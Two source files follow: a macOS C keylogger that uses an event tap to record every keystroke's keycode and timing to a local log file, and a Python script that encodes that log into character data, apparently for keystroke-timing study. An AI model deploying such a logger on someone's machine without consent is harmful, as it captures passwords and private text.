keylogger.c

#include <stdio.h>
#include <time.h>
#include <ApplicationServices/ApplicationServices.h> /* ApplicationServices.framework needed */

char *logFileName = "./keystroke.log";
FILE *logFile = NULL;
int counter = 0;

struct timespec prev_time;

char* keyCodeToReadableString (CGKeyCode);
CGEventRef myCGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);

int main (int argc, const char * argv[]) {
  CGEventFlags oldFlags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);

  CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
  CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, myCGEventCallback, &oldFlags);
  
  if (!eventTap) {
    fprintf(stderr, "failed to create event tap\nyou need to enable \"Enable access for assitive devices\" in Universal Access preference panel.");
    exit(1);
  }
  
  CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
  CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
  CGEventTapEnable(eventTap, true);

  logFile = fopen(logFileName, "a");
  
  clock_gettime(CLOCK_MONOTONIC_RAW, &prev_time);
  CFRunLoopRun();
  
  return 0;
}


CGEventRef myCGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
  if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) {
    return event;
  }
  
  counter++;
  CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
  if (logFile) {
    struct timespec curr_time;
    clock_gettime(CLOCK_MONOTONIC_RAW, &curr_time);

    uint64_t delta_us = (curr_time.tv_sec - prev_time.tv_sec) * 1000000 + (curr_time.tv_nsec - prev_time.tv_nsec) / 1000;
    uint64_t delta_ms = delta_us / 1000;
    prev_time = curr_time;
    // fprintf(logFile, "%llu, %s\n", delta_ms, keyCodeToReadableString(keyCode));
    fprintf(logFile, "%llu, %hu\n", delta_ms, keyCode);
    
    if (counter % 1 == 0) fflush(logFile);
  }
  return event;
}


char* keyCodeToReadableString (CGKeyCode keyCode) {
  switch ((int) keyCode) {
    case   0: return "a";
    case   1: return "s";
    case   2: return "d";
    case   3: return "f";
    case   4: return "h";
    case   5: return "g";
    case   6: return "z";
    case   7: return "x";
    case   8: return "c";
    case   9: return "v";
    case  11: return "b";
    case  12: return "q";
    case  13: return "w";
    case  14: return "e";
    case  15: return "r";
    case  16: return "y";
    case  17: return "t";
    case  18: return "1";
    case  19: return "2";
    case  20: return "3";
    case  21: return "4";
    case  22: return "6";
    case  23: return "5";
    case  24: return "=";
    case  25: return "9";
    case  26: return "7";
    case  27: return "-";
    case  28: return "8";
    case  29: return "0";
    case  30: return "]";
    case  31: return "o";
    case  32: return "u";
    case  33: return "[";
    case  34: return "i";
    case  35: return "p";
    case  37: return "l";
    case  38: return "j";
    case  39: return "\"";
    case  40: return "k";
    case  41: return ";";
    case  42: return "\\";
    case  43: return ",";
    case  44: return "/";
    case  45: return "n";
    case  46: return "m";
    case  47: return ".";
    case  50: return "`";
    case  65: return "<keypad-decimal>";
    case  67: return "<keypad-multiply>";
    case  69: return "<keypad-plus>";
    case  71: return "<keypad-clear>";
    case  75: return "<keypad-divide>";
    case  76: return "<keypad-enter>";
    case  78: return "<keypad-minus>";
    case  81: return "<keypad-equals>";
    case  82: return "<keypad-0>";
    case  83: return "<keypad-1>";
    case  84: return "<keypad-2>";
    case  85: return "<keypad-3>";
    case  86: return "<keypad-4>";
    case  87: return "<keypad-5>";
    case  88: return "<keypad-6>";
    case  89: return "<keypad-7>";
    case  91: return "<keypad-8>";
    case  92: return "<keypad-9>";
    case  36: return "<return>";
    case  48: return "<tab>";
    case  49: return "<space>";
    case  51: return "<delete>";
    case  53: return "<escape>";
    case  55: return "<command>";
    case  56: return "<shift>";
    case  57: return "<capslock>";
    case  58: return "<option>";
    case  59: return "<control>";
    case  60: return "<right-shift>";
    case  61: return "<right-option>";
    case  62: return "<right-control>";
    case  63: return "<function>";
    case  64: return "<f17>";
    case  72: return "<volume-up>";
    case  73: return "<volume-down>";
    case  74: return "<mute>";
    case  79: return "<f18>";
    case  80: return "<f19>";
    case  90: return "<f20>";
    case  96: return "<f5>";
    case  97: return "<f6>";
    case  98: return "<f7>";
    case  99: return "<f3>";
    case 100: return "<f8>";
    case 101: return "<f9>";
    case 103: return "<f11>";
    case 105: return "<f13>";
    case 106: return "<f16>";
    case 107: return "<f14>";
    case 109: return "<f10>";
    case 111: return "<f12>";
    case 113: return "<f15>";
    case 114: return "<help>";
    case 115: return "<home>";
    case 116: return "<pageup>";
    case 117: return "<forward-delete>";
    case 118: return "<f4>";
    case 119: return "<end>";
    case 120: return "<f2>";
    case 121: return "<page-down>";
    case 122: return "<f1>";
    case 123: return "<left>";
    case 124: return "<right>";
    case 125: return "<down>";
    case 126: return "<up>";
  }
  return "<unknown>";
}

prepare_data.py

from sys import argv

def main(file_name):
    with open(file_name) as f:
        for line in f:
            dt, c = [int(x) for x in line.split(',')]
            dt = min(1000, dt) // 4
            print(chr(dt), end="")
            print(chr(c), end="")
    print()

if __name__ == "__main__":
    file_name = argv[1]
    main(file_name)